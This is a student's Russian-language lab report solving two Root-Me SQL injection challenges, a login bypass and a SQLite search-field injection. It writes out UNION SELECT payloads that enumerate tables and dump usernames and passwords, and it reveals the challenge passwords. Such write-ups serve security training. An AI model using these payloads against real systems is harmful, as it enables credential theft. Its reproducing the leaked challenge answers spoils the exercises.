


Выполнил Мешечкин Д. Инфобез-2837 (Ранее 2345)

Задание 1: Выполните задание <https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-authentication>


Выполните задание <https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-string>



### Authentication v 0.01

Login

Password




### Authentication v 0.01

Error : no such user/password

Login

Password

Первое что было испробовано: аутентификация admin:admin после чего страница выдала ответ об отсутствии подобного логина:пароля.




### Authentication v 0.01

Error : no such user/password

Login

Password



publier des solutions sur internet est interdit

### Authentication v 0.01

Welcome back admin !

Your informations :

- username : admin
- password : .....

Hi master ! To validate the challenge use this password

Login

Password

Inspector

```
<html> (overflow)
<head></head>
<body> (scroll)
  <link id="s" rel="stylesheet" property="stylesheet" type="text/css" href="https://www.root-me.org/7page=externe_header" />
  <iframe id="iframe" src="https://www.root-me.org/7page=externe_header" />
  <h1>Authentication v 0.01</h1>
  <h2>Welcome back admin !</h2>
  <h3>Your informations :</h3>
  <p>
    - username :
      <input type="text" value="admin" disabled="" />
    <br>
    - password :
      <input type="password" value="t0_w34kl5" disabled="" />
  </p>
  <br>
  Hi master !
  <b>To validate the challenge use this password</b>
  <form action="" method="post">
    <input type="text" value="" />
  </form>
</body>
</html>
```

Для решения данной лабораторной машины подошёл самый простой "password bypass" в виде одиночной кавычки и двойного тире. Далее необходимый пароль для завершения лабораторной машины лежит внутри html кода страницы.

## SQL injection - Authentication

30 Points 🌟

Authentication v 0.01

Author

g0uZ, 27 February 2011

Level ?

🟢🟡🔴🟠

## 2. Выполните задание <https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-string>

При изучении ресурса изначальной возможной точкой входа для использования уязвимости - страница поиска. Сразу попробую туда вставить первый пэйлоад.


 **Root Me**

publier des solutions sur internet est interdit

**CMS v 0.02**

Home

- Système de news / News system
- Publication du site / Site publication
- Bienvenu / Welcome
- Correction faille / Vulnerability
- Système de recherche / Search Engine

 **Root Me**

**CMS v 0.02**

Recherche

Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "@" in /challenge/web-serveur/ch19/index.php on line 150  
unrecognized token: "@"

Получилось сразу узнать, что используемая БД SQLite3. Далее необходимо подобрать пэйлоад для "открытия" самой БД. В данной лабораторной машине имеется вывод двух позиций.

6 result(s) for "' union select 'test','test'--"

**Bienvenu / Welcome** (Bienvenu à tous / Welcome all !)  
**Correction faille / Vulnerability** (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)  
**Publication du site / Site publication** (Le site est désormais ouvert à toutes et à tous / Site is open)  
**Système de news / News system** (La mise en place du système de news est désormais effective / News system activated.)  
**Système de recherche / Search Engine** (Un système de recherche nous permet désormais de rechercher une news / News : search engine :))  
**test (test)**

Далее необходимо выяснить, какие таблицы имеются в данной БД, за исключением стандартных, имеющих префикс "sqlite\_"

**CMS v 0.02**

Recherche

6 result(s) for "' union SELECT null,group\_concat(tbl\_name) FROM sqlite\_master WHERE type='table' and tbl\_name NOT like 'sqlite\_%'--"

(news,users)

**Bienvenu / Welcome** (Bienvenu à tous / Welcome all !)  
**Correction faille / Vulnerability** (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)  
**Publication du site / Site publication** (Le site est désormais ouvert à toutes et à tous / Site is open)  
**Système de news / News system** (La mise en place du système de news est désormais effective / News system activated.)  
**Système de recherche / Search Engine** (Un système de recherche nous permet désormais de rechercher une news / News : search engine :))

В данной БД имеются таблицы "news" и "users". Вероятнее всего, необходимая информация расположена в таблице users. Достаю столбцы из данной таблицы.

```
6 result(s) for "' union SELECT null, sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users' -- "
```

```
(CREATE TABLE users(username TEXT, password TEXT, Year INTEGER))
```

**Bienvenu / Welcome** (Bienvenu à tous / Welcome all !)

**Correction faille / Vulnerability** (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)

**Publication du site / Site publication** (Le site est désormais ouvert à toutes et à tous / Site is open)

**Système de news / News system** (La mise en place du système de news est désormais effective / News system activated.)

**Système de recherche / Search Engine** (Un système de recherche nous permet désormais de rechercher une news / News

В таблице users имеются столбцы username, password, Year. Достаю информацию из столбцов username и password.



## CMS v 0.02

### Recherche

```
8 result(s) for "' union select username, password from users --"
```

**Bienvenu / Welcome** (Bienvenu à tous / Welcome all !)

**Correction faille / Vulnerability** (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)

**Publication du site / Site publication** (Le site est désormais ouvert à toutes et à tous / Site is open)

**Système de news / News system** (La mise en place du système de news est désormais effective / News system activated.)

**Système de recherche / Search Engine** (Un système de recherche nous permet désormais de rechercher une news / News : search)

**admin** (c4K04dtiaJsuWdi)

**user1** (OK4dSoYE)

**user2** (8Wbhkzmd)

Получена искомая информация. Сдаю на сайте root-me.

## SQL injection - String

30 Points

CMS v 0.0.2

Author

g0uZ, 24 December 2012

Level

